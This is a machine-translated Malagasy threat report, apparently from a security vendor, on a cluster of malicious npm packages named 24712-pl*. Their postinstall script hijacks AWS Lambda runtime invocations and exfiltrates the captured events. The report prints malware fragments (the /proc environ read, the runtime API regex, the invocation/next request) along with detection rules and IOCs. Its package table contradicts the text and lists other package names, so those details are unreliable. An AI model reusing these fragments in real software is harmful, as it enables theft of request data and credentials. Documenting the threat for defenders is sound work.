TL, DR
Teo anelanelan'ny 6 Mey sy 7 Mey 2026, mpamoaka npm tokana, pelavelle, nanosika fonosana valo tsy miankina amin'ny zero mampiasa anarana izay nanaraka ny lamina anatiny mitovy: 24712-pl*.
Ireo fonosana tafiditra 24712-pl3469, 24712-pl4712, 24712-pl5006, 24712-plv2, ary 24712-plv3Ny tovona misy laharana dia manondro mazava tsara ny fanafihana fisafotofotoana fiankinan-doha npm manohitra ny habaka anaran'ny fonosana anatiny na ny tetika package-id.
Efa tsy navoakan'ny mpamoaka avy amin'ny npm avokoa ireo fonosana valo mpiray tampo ireo teo anelanelan'ny 2026-05-06T21:52Z sy 2026-05-07T00:31ZNy metadata an'ny rejisitra mivantana dia nanamafy fa ny tarballs dia mamerina HTTP 404 izao.
Na izany aza, mbola zava-dehibe ny vondrona.
Ny santionany kanonika, 24712-pl5006:0.0.1, misy postinstall.js script izay miasa mandritra ny npm installTsy mangalatra ireo variables environment generic izy fa mitady manokana AWS_LAMBDA_RUNTIME_API, ny fiovaovan'ny tontolo iainana ampiasain'ny AWS Lambda runtimes.
Raha mahita ny script AWS_LAMBDA_RUNTIME_API, miantso ny teboka farany Lambda Runtime API izy:
Io antso io dia manandrana mandany ny hetsika fiantsoana Lambda manaraka miandry alohan'ny ahafahan'ny mpitantana Lambda ara-dalàna mikirakira izany.
Ny hetsika voasambotra, anisan'izany ny lohateny, ny ID fangatahana, ny tontolon'ny kaonty, ary hatramin'ny 8 KB ny vatan'ny fangatahana, dia alefa any amin'ny teboka finday fehezin'ny mpanafika amin'ny alàlan'ny script. phoneHome() ny asa.
Ny rafitra Malware Early Warning (MEW) an'ny Xygeni dia nanasokajy ny santionany kanonika ho mety ho mampidi-doza miaraka amin'ny isa 91.3/100.
Manara-maso izany izahay ho toy ny fanafihana fisafotofotoana fiankinan-doha npm miaraka amin'ny fihetsika fanalana ny fotoana fiasan'ny AWS Lambda.
Ny Vondrona: Fonosana Valo, Mpamoaka Iray
Ny kaonty mpamoaka pelavelle nampiasa ny adiresy mailaka:
pelavelle@clovercode.com
Nanana mailaka tsy voamarina ilay kaonty, tsia SCM fanamarinana, ary isa ambany 5 amin'ny laza.
Namoaka fonosana mifandraika valo tao anatin'ny fotoana fohy teo anelanelan'ny 2026-05-06 20:45Z sy 22:36Z ny mpamoaka. Mitovy endrika avokoa ny anaran'ny fonosana:
24712-pl*
Ity lamina ity no famantarana fototra. Tsy toa fitaovana ho an'ny mpamorona rindrambaiko ho an'ny daholobe izy io. Fa toa rafitra fanomezana anarana fonosana anatiny kosa.
| # | Package | Dikan-teny ratsy | Noforonina, UTC | Tsy navoaka, UTC | Voamarina ny entana | Mametraka Hook |
|---|---|---|---|---|---|---|
| 1 | mpikaroka ny tontolo izao | 1.1.3 | 2026-05-01T18:26Z | 2026-05-01T19:01Z | Mpamoaka/vondrona mitovy no vinavinaina | fametrahana mialoha, heverina |
| 2 | signalsdk-web | 1.0.0, 10.0.0 | 2026-05-04T13:57Z | 2026-05-04T18:51Z | Notsongaina | fametrahana mialoha, heverina |
| 3 | ms.analytics-web | 99.0.0, 99.9.13 | 2026-05-04T18:47Z | 2026-05-05T10:07Z | Notsongaina | fametrahana mialoha, heverina |
| 4 | sary.novokarina | 99.9.13 | 2026-05-05T10:02Z | 2026-05-05T12:57Z | Notsongaina | fametrahana mialoha, heverina |
| 5 | fanaraha-maso ny fahatarana | 99.9.0 | 2026-05-05T11:57Z | 2026-05-05T12:57Z | Notsongaina | fametrahana mialoha, heverina |
| 6 | fanaraha-maso ny fahatarana anatiny | Nesorina tao amin'ny firaketana an-tsoratra ny dikan-teny | 2026-05-06T06:02Z | 2026-05-06T08:35Z | Notsongaina | fametrahana mialoha, heverina |
| 7 | carboniteapp | 99.9.0 | 2026-05-06T05:49Z | 2026-05-06T08:35Z | Eny, fikorianan'ny kaody feno amin'ny scanner | fametrahana mialoha: node index.js |
| 8 | karbonita-anatiny | 99.9.0 | 2026-05-06T06:14Z | 2026-05-06T08:36Z | Eny, fikorianan'ny kaody feno amin'ny scanner | fametrahana mialoha: node index.js |
Ny dikan-teny rehetra manerana ny vondrona: Tuples fonosana dikan-teny 19.
Ny santionany kanonika, 24712-pl5006:0.0.1, navoaka tamin'ny 2026-05-06T22:36:34Z ary nojeren'i Xygeni's MEW pipeline alohan'ny hetsika tsy famoahana.
Nisy rakitra efatra tao anatiny, anisan'izany ny package/postinstall.js, miaraka amin'ny 3,335 bytes amin'ny loharano manontolo.
Ny kanonika commit ny hash dia:
83e0efbfd110abb2398a06196fb698565a3f6cc6
Nahoana no zava-dehibe ny lamina anarana
Ny anaran'ny fonosana no famantarana matanjaka indrindra ny fikasana.
Manomboka amin'ny tovona mitovy avokoa izy rehetra:
24712-pl
Avy eo dia manampy tovana isa na mitovy amin'ny dikan-teny izy ireo:
24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3
Tsy mitovy amin'ny fanomezana anarana npm ho an'ny daholobe mahazatra ity. Toa tovona namespace anatiny na tetika package-id anatiny izy io.
Izany dia mahatonga ny cluster hifanaraka amin'ny fanafihana fisafotofotoana fiankinan-doha npm.
Ao anatin'ny fanafihana fisafotofotoana momba ny fiankinan-doha, ny mpanafika dia mamoaka fonosana ho an'ny daholobe miaraka amin'ny anarana mifanaraka, na toa mifanaraka, amin'ny fiankinan-doha anatiny. Raha toa ka mamaha ny fonosana ho an'ny daholobe fa tsy ny manokana ny mpitantana ny fonosana na ny tontolo iainana fananganana ny lasibatra, dia miasa ao anatin'ny tontolo iainana lasibatra ny kaody fehezin'ny mpanafika.
Ny OWASP dia mamaritra ny fisafotofotoan-kevitra momba ny fiankinan-doha ho toy ny vector fanafihana izay mamitaka ireo mpitantana fonosana sy proxy mba haka fonosana ampahibemaso ratsy fanahy fa tsy ilay fonosana anatiny mitovy anarana.
Raha mila fanazavana lalindalina kokoa momba ny fomba fiasan'ity karazana fanafihana ity dia jereo ny torolàlana an'i Xygeni momba ny tsy fisian'ny fametahana dikan-teny sy fisafotofotoana momba ny fiankinan-doha ary ny lahatsoratray amin'ny famantarana sy fitantanana ny fanafihana fiankinan-doha amin'ny rindrambaiko.
Inona no mitranga amin'ny fotoana fametrahana
Ny fonosana kanonika dia manambara a postinstall hook:
{
"scripts": {
"postinstall": "node postinstall.js || true"
}
}
The postinstall Ny tsingerim-piainana dia anisan'ny rafitra script fonosana an'ny npm. Ny antontan-taratasin'ny npm dia manazava fa ny fonosana dia afaka mamaritra script tsingerim-piainana ao amin'ny package.json, anisan'izany ireo hetsika efa tafiditra ao anatin'ny tsingerin'ny fametrahana.
The || true dia zava-dehibe.
Mandray ireo lesoka izy io ka mbola mahomby ny fametrahana na dia tsy mahomby aza ny fandrobana. Izany dia manampy ny fonosana hisoroka ny fanimbana ny fananganana ary mampihena ny mety ho tsikaritry ny mpamorona na ny rafitra CI ny fihetsika ratsy amin'ny alàlan'ny fametrahana tsy nahomby.
Miasa mandritra ny fotoana ny entana npm installTsy ilaina ny fanafarana avy amin'ny mpamorona rindrambaiko. Tsy mila miantso ny fonosana ny lalan'ny rindranasa.
Ny fametrahana azy fotsiny dia efa ampy.
Fitondran-tena amin'ny enta-mavesatra: Lambda Runtime Hijack
The postinstall.js Manatanteraka filaharana voafaritra tsara ny script.
Voalohany, mamaky ny tontolo iainanan'ny fizotran'ny ray aman-dreny avy amin'ny Linux izy io. /proc:
const raw = fs.readFileSync(`/proc/${pid}/environ`, 'utf8');
Avy eo dia alaina ny teboka farany amin'ny AWS Lambda runtime:
const match = raw.match(/AWS_LAMBDA_RUNTIME_API=([^\0]+)/);
Raha hita ny runtime API dia tehirizin'ny script izany:
runtimeApi = match[1];
Manaraka izany, mandefa jiro voalohany mandalo phoneHome():
await phoneHome({ step: 'waiting', runtimeApi, ts: ... });
Io famantarana voalohany io dia mamoaka ny teboka farany an'ny Lambda runtime API.
Avy eo dia mandinika ny host sy ny port API runtime ny script:
const [host, portStr] = runtimeApi.split(':');
Farany, miantso ny lalan'ny AWS Lambda Runtime API ampiasaina haka ny antso manaraka izy:
http.request({
host,
port,
path: '/2018-06-01/runtime/invocation/next',
method: 'GET',
timeout: 90000
}, ...);
Izany no fototry ny fanafihana.
Miezaka mampiasa ny hetsika fiantsoana Lambda manaraka ny script alohan'ny ahafahan'ny mpitantana Lambda ara-dalàna mikirakira izany. Ny torolàlana momba ny runtime manokana an'ny AWS dia mamaritra ihany koa ny dingana "mahazoa hetsika" ho toy ny antso mankany amin'ny API fiantsoana manaraka.
Inona no voafafa
Raha maka antso an-tariby ny script, dia mandefa ny valiny any amin'ny teboka finday fehezin'ny mpanafika.
Ireo saha voatsindrona dia ahitana:
| Field | Meaning |
|---|---|
step | Dingana fanatanterahana, toy ny waiting, next_error, na captured |
runtimeApi | Teboka API amin'ny fotoana fiasan'ny Lambda |
accountSid | Kaonty AWS voasambotra |
requestId | ID fangatahana antso Lambda |
isOwnAccount | Fampitahana Boolean amin'ny sandan'ny kaonty voamboarin'ny script |
statusCode | Toe-javatra misy ny valintenin'ny Runtime API |
headers | Lohatenin'ny valintenin'ny antso |
body | Votoatin'ny antso voasambotra, nozaraina ho litera 8,000 |
Ny antso lehibe amin'ny fanesorana ny filtration dia ny phoneHome(data) asa, izay ametrahan'ny JSON ny angona ary alefany amin'ny alàlan'ny HTTP POST.
Tsy voatahiry tao amin'ny porofo voafafa azo ampiasaina ny URL marina momba ny phone-home. Noho izany, tokony hotehirizin'ny npm ao anatiny ny tarball tsy navoaka mba hahafahana maka ny litera C2 host alohan'ny hamaranana ny famafana.
Nahoana no mampidi-doza izany?
Tsy npm beacon ankapobeny ity.
Ny entana dia natao manodidina ny AWS Lambda's modely fanatanterahana.
Raha misy fonosana marefo napetraka ao anatin'ny tontolo iainana fanatanterahana Lambda, toy ny mandritra ny fananganana sary fametrahana, fametrahana sosona Lambda, na dingana fonosana init, dia mety hampiharihary ny tontolo iainana. AWS_LAMBDA_RUNTIME_API.
Rehefa manana io sanda io ny script dia afaka miantso:
/2018-06-01/runtime/invocation/next
Io endpoint io dia mamerina ny hetsika fiantsoana miandry manaraka.
Vokatr'izany, mety ho afaka hisambotra ny mpanafika:
- Vondrona fangatahana
- lohapejy
- Fangatahana ID
- Teny manodidina ny kaonty AWS
- Angon-drakitra fangatahana nosoniavina
- PII mpanjifa
- Angon-drakitra momba ny hetsika S3
- Entana manokana ho an'ny fampiharana
- Toe-javatra anatiny momba ny serivisy
Mety tsy hahita mihitsy ilay hetsika efa voahodina ilay mpitantana ara-dalàna.
Izany dia mamadika ny script fametrahana npm ho lasa Lambda event interception primitive.
Na dia tsy tonga any amin'ny tontolo Lambda tena izy aza ilay fonosana, dia mbola mety hamoaka teny manodidina mahasoa avy amin'ny rafitra dev na CI ihany ilay fihetsika. /proc/<pid>/environ mety hampiharihary ireo fiovaovan'ny tontolo iainana misy ao amin'ny dingana ray aman-dreny, izay mety ahitana ny fanalahidy AWS, URL database, tokens CI, na fahazoan-dàlana fametrahana.
Izany no mahatonga ny fitiliana fiankinan-doha tsy afaka mijanona amin'ny CVE fantatra. Mila mamantatra fonosana maloto, mamakafaka script fametrahana, ary mampihatra ny politikan'ny rejisitra ihany koa ny ekipa. Raha mila torolàlana mifandraika amin'izany, vakio Nahoana no zava-dehibe ho an'ny ekipa DevOps ny "Dependency Scanning" sy Fiarovana amin'ny Malware: Nahoana ny Antivirus no tsy afaka mampijanona ny fanafihana amin'ny rojo famatsiana.
Fanasokajiana Xygeni MEW
Nojeren'ny Xygeni MEW ny santionany kanonika 24712-pl5006:0.0.1 alohan'ny hetsika tsy famoahana.
Niverina ilay scanner:
91.3 / 100
probablyMalicious
threshold: 80
Ny porofo dia nahitana zavatra telo manan-danja sy zavatra avo iray izay manamafy ny fikorianan'ny angona Lambda runtime-hijack.
| fahasaro-po | porofo | Meaning |
|---|---|---|
| Critical | /proc/<pid>/environ vakio ny | Mamaky ny tontolo iainanan'ny fizotran'ny ray aman-dreny |
| Critical | AWS_LAMBDA_RUNTIME_API fitrandrahana | Teboka famaranana Lambda amin'ny fotoana fiasana |
| Critical | /runtime/invocation/next fangatahana | Fiezahana mandany hetsika fiantsoana Lambda tena izy |
| High | postinstall teny | Miasa mandritra ny fametrahana npm |
Tena voafaritra tsara ny fihetsika ary misy fiantraikany lehibe. Tsy mila endri-javatra malware midadasika ilay fonosana satria efa lasibatra mahery vaika ny Lambda runtime endpoint.
Natao ho an'ity karazana tranga ity ny Xygeni MEW: mamantatra ny fitondran-tenan'ny fonosana mampiahiahy sy manimba alohan'ny hahatonga azy ho tranga manaraka. Raha mila fijery mivelatra kokoa momba ny lamina fandrahonana npm sy PyPI amin'izao fotoana izao, jereo Fijerena akaiky kokoa ny fanafihana amin'ny rojo famatsiana rindrambaiko amin'ny taona 2025.
Nahoana no zava-dehibe ny lamina fanafoanana ny famoahana tena
Tsy navoakan'ny mpamoaka tao anatin'ny fotoana fohy avokoa ireo fonosana valo ireo.
Mampiahiahy izany fihetsika izany amin'ity toe-javatra ity.
Niseho ilay vondrona, niasa raha nofantenana tamin'ny alàlan'ny lalana famahana fiankinan-doha marefo, ary avy eo nanjavona. Mifanaraka amin'ny fanadiovana ny mpanafika izany rehefa avy nahomby na tsy nahomby ny porofon'ny hevitra, na rehefa avy nahatsikaritra ny olana ny fikambanana kendrena.
Ny tsy famoahana azy dia miteraka banga amin'ny fahitana ireo mpiaro ny zon'ny mpamorona.
Mety tsy ahitana intsony ireo tarballs ny angon-drakitra npm ho an'ny daholobe. Tsy azo alaina indray ny dikan-teny sasany amin'ny fonosana. Na izany aza, mety mbola misy kopia voatahiry ao amin'ny cache, referansa lockfile, log CI, na artifacts mpitantana fonosana ao amin'ny tontolo iainana voakasik'izany.
Izany no mahatonga ny fiarovana ny lafiny rejisitra ho zava-dehibe.
Tokony hitahiry ireo tarballs tsy navoaka anatiny ny npm mba hahazoana ny URL marina momba ny finday sy ny trano, hanamarina ny maha-izy azy ny entana iray tampo, ary hanohanana ny valin'ny tranga.
Famantarana ny fifanarahana sy ny fahitana
Mpamoaka sy Kaonty
| Field | sarobidy |
|---|---|
| anarana mpampiasa npm | pelavelle |
| mailaka mpamoaka npm | pelavelle@clovercode.com |
| mailaka voamarina | No |
| SCM voamarina | No |
| Isa lazan'ny mpamoaka | 5 |
| Endrika fanomezana anarana fonosana | ^24712-pl[0-9a-z]+$ |
| Tovona anaran-tsehatra anatiny | 24712-pl |
Anaran'ny fonosana voakasik'izany
24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3
Santionany Kanonika
| Field | sarobidy |
|---|---|
| Package | 24712-pl5006 |
| Version | 0.0.1 |
| Published | 2026-05-06T22:36:34Z |
| Commit hash | 83e0efbfd110abb2398a06196fb698565a3f6cc6 |
| UUID amin'ny fijerena Xygeni | f80e4244-86d2-4a58-be59-7c56988a0f9f |
| Maty | 91.3 / 100 |
| didim-pitsarana | probablyMalicious |
Mametraka Hook
{
"scripts": {
"postinstall": "node postinstall.js || true"
}
}
Tondro Lambda Runtime
Saha Entana Voafafa
step
runtimeApi
accountSid
requestId
isOwnAccount
statusCode
headers
body
Tetehina ho litera 8,000 ny vatan'ny lahatsoratra.
Fanamarihana momba ny famantarana
Fitsipika maromaro no mety hahatratra izany fanafihana fisafotofotoana fiankinan-doha npm ary ireo fiovaovana mety hitranga.
Voalohany, asio marika ny script fametrahana npm izay mamaky ny tontolo iainana parent process avy amin'ny /proc:
/proc/<pid>/environ
Mahalana izany no fitondran-tena ara-dalàna ho an'ny fiankinan-doha npm mandritra ny fametrahana.
Faharoa, fanairana momba ireo script fametrahana fonosana izay manondro:
AWS_LAMBDA_RUNTIME_API
Tsy tokony ho azon'ny fonosana npm an'ny antoko fahatelo idirana ity fiovaovan'ny tontolo iainana ity mandritra ny fametrahana.
Fahatelo, sakano na avereno jerena ireo script fametrahana izay miantso:
/2018-06-01/runtime/invocation/next
Ity no teboka farany AWS Lambda Runtime API handraisana ny antso manaraka. Tsy misy antony ara-dalàna hampiasana azy ny script fametrahana fiankinan-doha.
Fahefatra, tadiavo ireo referansa lockfile amin'ny anaran'ny fonosana voakasik'izany:
package-lock.json
yarn.lock
pnpm-lock.yaml
npm-shrinkwrap.json
Ny lalao rehetra dia tokony hiteraka famerenana ny fiankinan-doha-fisafotofotoana.
Fahadimy, fanairana momba ny anaran'ny fonosana regex:
^24712-pl[0-9a-z]+$
indrindra rehefa ampahibemaso ny mpamoaka azy, tsy dia malaza, tsy voamarina, na ivelan'ny rejisitra anatiny andrasana.
Farany, manampy CI/CD guardrails manodidina ny script fametrahana. Zava-dehibe indrindra izany satria afaka miasa mandritra ny fametrahana fonosana ny script npm lifecycle, alohan'ny hampidiran'ny mpamorona na inona na inona. Raha mila fanazavana fanampiny momba ny CI/CD lamina famantarana, jereo ny an'i Xygeni Ireo mari-pamantarana 10 ambony indrindra amin'ny fifanarahana CI/CD Pipelines sy Security Guardrails ho an'ny CI/CD Pipelines.
Hetsika atolotra ao amin'ny Rejistra
Efa tsy navoaka ity vondrona ity tamin'ny fotoana nanaovana ny tatitra, saingy ny fanesorana ny famoahana dia tsy manala ny risika.
Hetsika npm atolotra:
- Hamafiso raha toa ka fanadiovana natombok'ireo mpanafika ireo fanesorana ny famoahana fa tsy hetsika ara-dalàna nataon'ny mpikojakoja.
- Atsaharo na fandraràno ny kaontin'ny mpamoaka
pelavelle. - Add
pelavelle@clovercode.com, ny anaran'ny fonosana, ary ny regex anaran'ny fonosana amin'ny npm abuse sy ny lisitry ny sakana amin'ny supply-chain. - Tehirizo ao amin'ny fitahirizana anatiny ireo tarball tsy navoaka ho an'ny fanadihadiana ara-pitsarana.
- Esory ny marina
phoneHome()URL destination avy amin'ny tarball fonosana voatahiry. - Hamarino raha mizara entana mitovy avokoa ireo fonosana iray tampo rehetra.
- Ampahafantaro ireo fikambanana voakasik'izany raha toa ka mampiseho olana amin'ny fampiasana telemetry amin'ny fampidinana na fametrahana ny fonosana.
Lisitra fanamarinana ny valin'ny marimaritra iraisana
Raha misy fonosana voakasik'izany miseho ao amin'ny lockfiles, CI logs, package caches, Lambda layers, deployment images, na build artifacts, dia raiso ho toy ny mety ho vokatry ny fiankinan-doha sy ny fisafotofotoana izany.
Valiny atolotra:
- Fantaro hoe aiza no nametrahana ny fonosana: toeram-piasana eo an-toerana, CI runner, Lambda layer build, deployment image, na runtime environment.
- Tehirizo ireo rakitra mihidy, ny cache npm, ny log-n'ny fananganana, ny artifacts amin'ny fametrahana, ary ny sosona sary ao anaty fitoeran-javatra.
- Hamarino raha natao tao anatin'ny tontolo iainana izay
AWS_LAMBDA_RUNTIME_APInapetraka. - Jereo raha misy tsy fantatra ny log HTTP mivoaka
phoneHome()toerana haleha mandritra ny varavarankely fametrahana. - Manara-maso ny fiantsoana Lambda raha misy hetsika very, tsy hita, na tsy ara-dalàna.
- Avadiho ireo tsiambaratelo izay hita ao amin'ny tontolo fametrahana, indrindra fa ny lakilen'ny AWS, ny token'ny CI, ny fahazoan-dàlana fametrahana, ary ny URL an'ny angon-drakitra.
- Avereno jerena ireo sosona Lambda sy ireo sary fametrahana mba hahitana ireo kopia voatahiry ao amin'ilay fonosana.
- Ampiharo ny fametahana "pinning" amin'ny rejisitra manokana ho an'ny prefixes anatiny.
- Sakano ny famaha npm ampahibemaso ho an'ny anaran'ny fonosana mijery anatiny.
- Add guardrails ho an'ny
preinstall,install, arypostinstallsoratra.
Ahoana no ahafahan'ny Xygeni mamantatra izany mialoha kokoa
Ity fampielezan-kevitra ity indrindra no karazana tranga izay ilàn'ny ekipa fiarovana mihoatra noho ny fitiliana ny fahalemena mahazatra.
Mety tsy hisy CVEMety tsy misy dikan-teny marefo fantatra. Mety tsy hisy fonosana maharitra hojerena rehefa avy nodiovin'ny mpamoaka.
Fa kosa, mila fahitana mivantana ny fihetsiky ny fonosana ny ekipa.
Manampy amin'ny fampifangaroana ny Xygeni:
- Fitihana mialoha ny malware manerana ny rejisitra ho an'ny daholobe.
- Fitihana fiankinan-doha mampiahiahy noho ny fisafotofotoan-kevitra momba ny fiankinan-doha sy ny lesoka amin'ny tsipelina.
- Famakafakana script fametrahana ho an'ny
preinstall,install, arypostinstallfihetsika. - CI/CD guardrails mba hanakanana ireo fonosana mampidi-doza alohan'ny hahatongavany amin'ny tontolo fananganana na fametrahana.
- Fahitana ny rojo famatsiana rindrambaiko amin'ny alalan'ny fiankinan-doha, pipelines, ary ireo zavatra vita an-tsoratra.
- Fampiharana ny politika ho an'ny anaran'ny fonosana anatiny sy ireo fonosana ho an'ny daholobe tsy azo itokisana.
Zava-dehibe izany satria ny fiantraikan'ny fanafihana fisafotofotoana fiankinan-doha npm Tsy voafetra ho an'ny solosaina finday mpamorona rindrambaiko ihany. Afaka mahatratra ireo CI runners, build images, Lambda layers, deployment containers, ary tontolo manodidina ny runtime izy io.
Raha mila fanazavana fanampiny momba ny AppSec sy ny rojo famatsiana, jereo Mihoatra SCAFiarovana ny rojo famatsiana rindrambaiko anao sy Software Supply Chain Security automatique.
Izay tokony hoentin'ny mpiaro
Ity fanentanana ity dia mampiseho ny fomba ahafahan'ny fisafotofotoana momba ny fiankinan-doha mihoatra noho ireo mari-pamantarana fototra momba ny porofon'ny fanatanterahana.
Tsy manamafy fotsiny ny entana fa npm install ran. Miezaka mifandray amin'ny AWS Lambda Runtime API izy io ary maka sary hetsika fiantsoana tena izy.
Fitomboana misy dikany izany.
Ho an'ireo ekipa mampiasa serverless, ny famahana ny fiankinan-doha dia anisan'ny modely fandrahonana mandritra ny fotoana fiasana. Ny fonosana npm ampahibemaso misy anarana anatiny dia mety ho lasa lalana mankany amin'ny tontolon'ny fanatanterahana Lambda, angon-drakitra fangatahana, ary metadata kaonty rahona.
Mazava ny lesona fototra: tsy maintsy arovana, fehezina ary ampifandraisina amin'ny rejisitra azo itokisana ny prefixes fonosana anatiny. Tsy maintsy raisina ho toy ny fanafihana azo ampiasaina ny script fametrahana, indrindra amin'ny CI/CD, fananganana fitoeran-javatra, sosona Lambda, ary fametrahana pipelines.
CISNy torolàlana momba ny famatsiana rindrambaiko an'ny A dia manantitrantitra ny filàna miaro ny rindrambaiko, mampihatra fanamarinana fiarovana, ary mamaly ireo fahalemena tsy tapaka mandritra ny dingana fampandrosoana. Amin'ity tranga ity, midika izany fa ny fikarakarana ny famahana ny fonosana, ny script fonosana, ary ny tontolo fananganana tsy misy mpizara dia toy ny fanaraha-maso fiarovana kilasy voalohany.
Notaterina tany amin'ny npm ho an'ny fampiharana ny kaonty, ny lisitra sakana, ary ny fiarovana ny tarball tsy navoaka.
